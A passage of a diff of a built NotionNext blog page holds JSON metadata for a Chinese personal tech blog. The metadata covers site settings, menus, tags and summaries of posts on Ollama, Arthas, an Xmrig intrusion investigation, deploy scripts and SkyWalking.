2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]}},"__N_SSG":true},"page":"/archive","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 